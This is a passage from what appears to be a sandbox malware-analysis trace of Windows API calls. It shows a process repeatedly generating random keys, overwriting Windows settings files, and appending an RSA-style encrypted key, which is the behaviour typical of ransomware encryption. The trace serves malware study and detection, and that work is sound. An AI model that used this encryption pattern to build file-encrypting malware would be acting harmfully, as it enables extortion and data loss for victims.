lpNumberOfBytesWritten=0x2e1f9bc*=0x350, lpOverlapped=0x0) returned 1 [0195.069] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x350 [0195.069] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.069] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.069] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.069] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.070] CloseHandle (hObject=0x1c24) returned 1 [0195.071] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0195.071] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.071] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{8E21794E-9303-44C5-A493-C3DC53C0E463}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.072] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x401, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x401, lpOverlapped=0x0) returned 1 [0195.073] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1025, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.073] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x401, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x401, lpOverlapped=0x0) returned 1 [0195.073] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x401 [0195.073] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.073] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.073] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.074] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.074] CloseHandle (hObject=0x1c24) returned 1 [0195.075] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.075] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.075] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{8E0C279D-0BD1-43C3-9EBD-31C3DC5B8A77}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.076] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x406, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x406, lpOverlapped=0x0) returned 1 [0195.077] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1030, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.077] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x406, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x406, lpOverlapped=0x0) returned 1 [0195.077] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x406 [0195.077] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.077] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.078] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.078] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.078] CloseHandle (hObject=0x1c24) returned 1 [0195.085] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0195.085] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0195.085] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{8D58F804-9520-4208-A527-7C2B6CB77B33}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.085] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x52d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x52d, lpOverlapped=0x0) returned 1 [0195.086] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1325, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.087] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x52d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x52d, lpOverlapped=0x0) returned 1 [0195.087] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x52d [0195.087] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.087] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.087] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.088] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.088] CloseHandle (hObject=0x1c24) returned 1 [0195.089] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0195.089] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0195.089] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{8bb27ec5-5cb3-4781-baee-3439df4806e4}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.089] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3a2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3a2, lpOverlapped=0x0) returned 1 [0195.091] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-930, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.091] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3a2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3a2, lpOverlapped=0x0) returned 1 [0195.091] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3a2 [0195.091] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.091] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.091] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.091] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.092] CloseHandle (hObject=0x1c24) returned 1 [0195.093] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.093] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0195.093] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{895607E0-D0F9-48bd-B19E-96FBE9BBDCF9}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.094] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3f8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3f8, lpOverlapped=0x0) returned 1 [0195.095] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1016, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.095] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3f8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3f8, lpOverlapped=0x0) returned 1 [0195.095] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3f8 [0195.095] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.095] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.095] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.096] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.096] CloseHandle (hObject=0x1c24) returned 1 [0195.097] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.097] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0195.097] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{8902C92D-5AB7-433B-9065-3F55F8334E29}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.098] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x4db, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4db, lpOverlapped=0x0) returned 1 [0195.099] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1243, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.099] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4db, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4db, lpOverlapped=0x0) returned 1 [0195.099] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4db [0195.099] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.099] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.100] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.100] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.100] CloseHandle (hObject=0x1c24) returned 1 [0195.102] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.102] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.102] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{88C9D04D-39DD-41EE-A63B-23218D69717F}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.102] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3ce, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3ce, lpOverlapped=0x0) returned 1 [0195.103] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-974, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.103] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3ce, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3ce, lpOverlapped=0x0) returned 1 [0195.103] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3ce [0195.103] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.104] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.104] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.104] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.104] CloseHandle (hObject=0x1c24) returned 1 [0195.106] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0195.106] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0195.106] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{886EDAFC-1051-483F-8AE2-904087A7E580}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.106] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x45e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x45e, lpOverlapped=0x0) returned 1 [0195.107] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1118, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.107] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x45e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x45e, lpOverlapped=0x0) returned 1 [0195.108] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x45e [0195.108] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.108] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.108] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.108] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.108] CloseHandle (hObject=0x1c24) returned 1 [0195.112] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0195.112] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.112] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{87d66a43-7b11-4a28-9811-c86ee395acf7}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.113] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x412, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x412, lpOverlapped=0x0) returned 1 [0195.114] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1042, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.114] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x412, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x412, lpOverlapped=0x0) returned 1 [0195.114] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x412 [0195.114] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.114] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.114] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.115] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.115] CloseHandle (hObject=0x1c24) returned 1 [0195.117] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0195.117] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.117] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{87842A7E-D784-458d-BEF4-CFDC632DCF3E}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.117] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3f4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3f4, lpOverlapped=0x0) returned 1 [0195.119] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1012, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.119] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3f4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3f4, lpOverlapped=0x0) returned 1 [0195.119] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3f4 [0195.119] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.119] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.119] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, 